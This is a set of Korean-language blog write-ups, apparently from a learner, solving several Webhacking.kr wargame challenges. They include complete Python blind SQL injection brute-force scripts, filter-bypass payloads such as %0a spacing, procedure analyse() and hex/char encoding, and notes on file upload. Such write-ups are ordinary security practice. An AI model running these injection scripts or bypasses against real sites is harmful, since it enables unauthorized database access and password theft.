첫화면은 그냥 마우스가 움직이면 변하는 숫자들이다.


rank로 들어가 보면 여러 랭킹이 많이 있다.

그리고 숫자를 클릭해 보면 그냥 이렇게 화면에 id가 맨위에 뜬다.


소스는 별 볼일 없지만

hint가 있다.

답이 소문자 이고 id=ip라고만 되어있다.

그래서

procedure analyse()로 칼럼의 명을 알아내 보니

challenge_55_game.ip가 나온다.

하지만 우리는 password를 알아내야 하기 때문에

limit 문을 써서

score=0%20limit%202,1%20procedure%20analyse()를 해 보면

pAsSw0RdzzzZ라는 것을 알 수 있다.


또 참일 때에는 local host

거짓일 때에는  gurwodla이 나오는 것을 볼 수 있다.


하지만 substr문은 필터링이 되어 있으므로

right(letf())문을 써서 알아보기로 한다.


import urllib.request

import re


if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(39,127)]

    head = {'Cookie':'PHPSESSID=내 쿠키값'}

    for k in range(1,30):

        req = urllib.request.Request("http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20length(pAsSw0RdzzzZ)="+str(k),headers=head)

        data = urllib.request.urlopen(req).read()       

        data = data.decode('UTF-8')

        find = re.findall("localhost",data)

        print(k)

        if find:

            print("password length :",k)

            break

        

    for i in range(1,k+1):

        for j in code:

            print(hex(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20right(left(pAsSw0RdzzzZ,"+str(i)+"),1)="+hex(j),headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("localhost",data)

            if find:

                print("password :",i,chr(j))

                answer += chr(j)

                break

            if j == 126:

                key = False

                break

        if key == False:

            break

    print(answer)

   

이 파이썬으로 짠 소스를 돌리면

답이 나온다.

이것을 auth에 인증해 주면

55번도 클리어!



'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 55번  (0) 2018.01.26
Webhacking.kr 34번  (0) 2018.01.26
Webhacking.kr 9번  (0) 2018.01.26
Webhacking.kr 13번  (0) 2018.01.25
Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19

첫화면은 Wrong이라는 메시지가 뜨고

검은화면이 나온다.

소스를 보니 상당히 난독화 되어있다.


그래서 파이어폭스로

inspector로 보니

맨 마지막에 href가 있다.

여기로 들어가보니

정답이 나와있다.


34번 클리어!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 55번  (0) 2018.01.26
Webhacking.kr 34번  (0) 2018.01.26
Webhacking.kr 9번  (0) 2018.01.26
Webhacking.kr 13번  (0) 2018.01.25
Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19

첫화면은 번호들이 있고 들어가 져서 

하나씩 들어가 보았다.

1은 no를 뜻하는 것 같다.

APPLE

2번째는 Banana

3번째는 Secret이다.

힌트는 11글자

우선 =,을 비롯 띄워쓰기도 다 막혀있다.

그래서

if문은 막혀있지 않았기 때문에 =과 띄워쓰기를 제외하고

쿼리를 짜 보았더니

length가 11이라고 했는데 이 쿼리문은 돌기는 도는데

0으로 리턴이 된다.

그래서

import urllib.request

import re


if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(39,127)]

    head = {'Cookie':'PHPSESSID=사용자의 쿠키값'}


    for i in range(1,20):

        for j in code:

            print(hex(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id,"+str(i)+",1)like("+hex(j)+"),1,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("Secret",data)

            if find:

                print("password :",i,chr(j))

                answer += chr(j)

                break

            if j == 126:

                key = False

                break

        if key == False:

            break

    print(answer)


이렇게 substr로 짜서 돌려보니

답이APPLE로 나왔다.

그런데 답은 아니었다....


이상해서 IF문이 맞으면 3을 리턴시켜보았더니

LENGTH가 11일 때에 참값이 나온다!

import urllib.request

import re


if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(39,127)]

    head = {'Cookie':'PHPSESSID=사용자의 쿠키값'}


    for i in range(1,20):

        for j in code:

            print(hex(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id,"+str(i)+",1)like("+hex(j)+"),3,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("Secret",data)

            if find:

                print("password :",i,chr(j))

                answer += chr(j)

                break

            if j == 126:

                key = False

                break

        if key == False:

            break

    print(answer)


그래서 3으로 다시 SUBSTR쿼리를 돌려보니

답이 나온다


9번도 클리어!



'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 55번  (0) 2018.01.26
Webhacking.kr 34번  (0) 2018.01.26
Webhacking.kr 9번  (0) 2018.01.26
Webhacking.kr 13번  (0) 2018.01.25
Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19

첫화면은 제출과 Auth로 나누어 져 있다.

우선 1을 넣어보니 1값이 나온다.

그리고 2는 0이 나오고 여러 값들은 다 0이 나온다.

그래서 1 or 2를 넣어보니

no hack가 뜬다.

1or2를 넣으면 0이 나오는 데 띄워쓰기를 안하면 안먹히는 것 같다.

소스는 별 다를 게 없다.

그래서 %0a로 띄워쓰기를 우회 하니 or 가 먹힌다.



select 또한 0으로 나오는 것으로 봐서는

필터링은 안되어 있는 것 같다.

우선 flag의 갯수를 알아보니 위하여 count로 flag의 갯수 1로 넣어보니

0이 나온다. 아니라는 뜻 인것 같다,

그런데 2에서 1이 나오는 것으로 봐서는 2개가 flag 값으로 있는 것 같다.

그래서

no=if((select%0amin(lenght(flag))%0aprob13password%0a)in%0a(4),1,0)에서 4 자리에 계속 숫자를 넣다보니

짧은 flag는 4자리에서 나왔다.

반대로



no=if((select%0amax(lenght(flag))%0aprob13password%0a)in%0a(20),1,0)

에서 긴 자리의 flag가 나왔다.

import urllib.request

import re


if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(33,97)]

    head = {'Cookie':'PHPSESSID=내 쿠키'}

    for i in range(1,21):

        for j in code:

            print(i,"-->",chr(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-10/index.php?no=if(substr((select%0amax(flag)%0afrom%0aprob13password),"+str(i)+",1)in%0a("+hex(j)+"),1,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("<td>1</td>",data)

            if find:

                print("max length character :",i,":",chr(j))

                answer += chr(j)

                break;

            if j == 96:

                i=22

                key = False

        if key == False:

            break                

            

    print(answer)

이렇게 max로 코드를 짜서 

파이썬으로 돌려보면

이렇게 이상하게 4자리가 계속 나온다.


반대로

import urllib.request

import re


if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(33,97)]

    head = {'Cookie':'PHPSESSID=내 쿠키'}

    for i in range(1,21):

        for j in code:

            print(i,"-->",chr(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-10/index.php?no=if(substr((select%0amin(flag)%0afrom%0aprob13password),"+str(i)+",1)in%0a("+hex(j)+"),1,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("<td>1</td>",data)

            if find:

                print("max length character :",i,":",chr(j))

                answer += chr(j)

                break;

            if j == 96:

                i=22

                key = False

        if key == False:

            break                

     print(answer)

이렇게 min으로 짜주면

max값이 나온다.

그 이유는 알수가 없다.

하지만 긴 flag값을 인증하면

13번도 클리어!!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 34번  (0) 2018.01.26
Webhacking.kr 9번  (0) 2018.01.26
Webhacking.kr 13번  (0) 2018.01.25
Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19
Webhacking.kr 53번  (0) 2018.01.18

첫 화면은 이런 파일을 선택해서 제출하는 형식이다.

소스를 보면 file을 file타입으로 input하는 것 외에는 특이점이 없고

힌트가 파일 타입으로 나와있다.

burp suite로 패킷을 잡아보니

filename으로 보내고 content-type이 있다.

이때 힌트에 나온 type과 같다고 생각해서 type을 text로 넣어보니 

잘못된 파일이라고 나온다.

그래서 file이름또한 text로 넣어보니

이런 페이지가 나오지만 정답은 아닌 듯 하다.

그래서 웹쉘에 관해서 찾아보니

웹쉘은 공격자가 웹서버에 명령을 수행 할 수 있도록 작성한 웹스크립트 파일으로

php,asp,jsp,cgi 등으로 만들어진 파일을 업로드 하는 방식이라고 한다.

그래서 파일을 php로 보내봤지만

이렇게 access denied이 뜬다.

그래서 아까 되던 text로 보내보니

43번도 클리어!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 9번  (0) 2018.01.26
Webhacking.kr 13번  (0) 2018.01.25
Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19
Webhacking.kr 53번  (0) 2018.01.18
Webhacking.kr 35번  (0) 2018.01.18

SQL INJECTION문제라고 적어 놓았다.

우선 1을 제출하니 ZZIBONG이라는 단어가 뜬다.

먼저 소스를 보니 index.phps로 가라고 한다.

소스를 보니 get으로 lv의 값을 받는다.

그리고 그 값들은 eregi로 필터링을 거치고 난 후에

select id from members where lv = $_GET[lv]; 쿼리문에 쓰인다.

이때 뽑아낸 id가 admin이면

성공!

일단은 and 와 or는 막혀있기 떄문에

&가 되는지 확인하니 된다.

|또한 막혀있지않다.

우선 1||id=admin으로 뚫어보려고 했으나 반응이 없고

char로 뚫어도 뚫리지 않았다.


그렇게만 떴다

그래서 hex로 도전했지만 실패...


그래서 lv값을 2로 hex로 도전하니

49번도 클리어!!!




'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 13번  (0) 2018.01.25
Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19
Webhacking.kr 53번  (0) 2018.01.18
Webhacking.kr 35번  (0) 2018.01.18
Webhacking.kr 48번  (0) 2018.01.17

응 안녕~

소스를 보면 index.phps로 가보라고 한다.

가보면 get으로 받은 answer가 hidden_table과 같으면 문제가 풀리고

val변수는 필터링이 된다.

그렇지만 val변수는 select test1 from $hidden_table where test2=$GET[val]의 쿼리문이 완성 되면

answer값을 집어 넣을 수 있는 칸이 나온다고 되어 있다.

우선 val=1을 집어넣으면 test

2값은 guest

3값은 admin

4값은 zombie가 나온다!

하지만 우리는 hidden_table명을 집어 넣어줘야 하지만

알지 못하기 때문에 

다시 쿼리문을 보자면

"select test1 from $hidden_table where test2=$GET[val]"에서

hidden_table에서 우리는 값을 받아온다.

그리고 echo는 f[0]이다.

그렇지만 select가 막혀있고 union도 막혀있다.

그래서 찾아보던 중

쿼리문 끝에 procedure analyse()를 입력하면

테이블의 정보들과 다양한 컬럼 정보가 출력된다.

그리고 그중 제일 처음은 file_name, 즉 테이블의 이름을 볼 수 있다.




예를들면 채소의 테이블을 뽑아내면 컬럼명은 물론 데이터베이스 명과 테이블 명또한 볼 수 있다.

그래서 ?val=3 procedure analyse()를 입력하면

나오는 문장에서 가운데가 테이블 명이다.

그래서 테이블 명을 제출하면!

53번도 클리어!




'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19
Webhacking.kr 53번  (0) 2018.01.18
Webhacking.kr 35번  (0) 2018.01.18
Webhacking.kr 48번  (0) 2018.01.17
Webhacking.kr 56번  (0) 2018.01.17

첫 화면은 전화번호를 입력하는 칸과

index.phps가 있다.

아마 HellSonic이 문제를 만들었나보다.

소스를 보니 phone번호를 받으면

eregi에서 한번 필터링 한 후에

session id,ip,phone으로 새로운 컬럼을 추가하고

id=admin이고 ip가 내 아이피인 컬럼이 있을 때 

성공하는 소스이다.

먼저 eregi에서 걸러지는 =을 넣으니

no hack가 뜬다.

그리고 무작위 숫자를 넣어보니 Done이라고 성공했다는 메시지만 뜨시

다른 반응은 없었다.


먼저 burp suit으로 intercept한 패킷을 보면

우리는 input으로 phone만 조작할 수 있다.

그렇기 때문에 우리는 id가 admin인 컬럼을 만들어 주어야 하고

그렇기 때문에 phone의 내용에 id는 admin인 새로운 value값을 입력해 줘야 한다.

하지만 magic_quotes_gpc기능 때문인지

query error가 떠 버린다.

그래서 우회하기 위해


char로 넣어주면

35번도 클리어!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 49번  (0) 2018.01.19
Webhacking.kr 53번  (0) 2018.01.18
Webhacking.kr 35번  (0) 2018.01.18
Webhacking.kr 48번  (0) 2018.01.17
Webhacking.kr 56번  (0) 2018.01.17
Webhacking.kr 60번  (0) 2018.01.16

+ Recent posts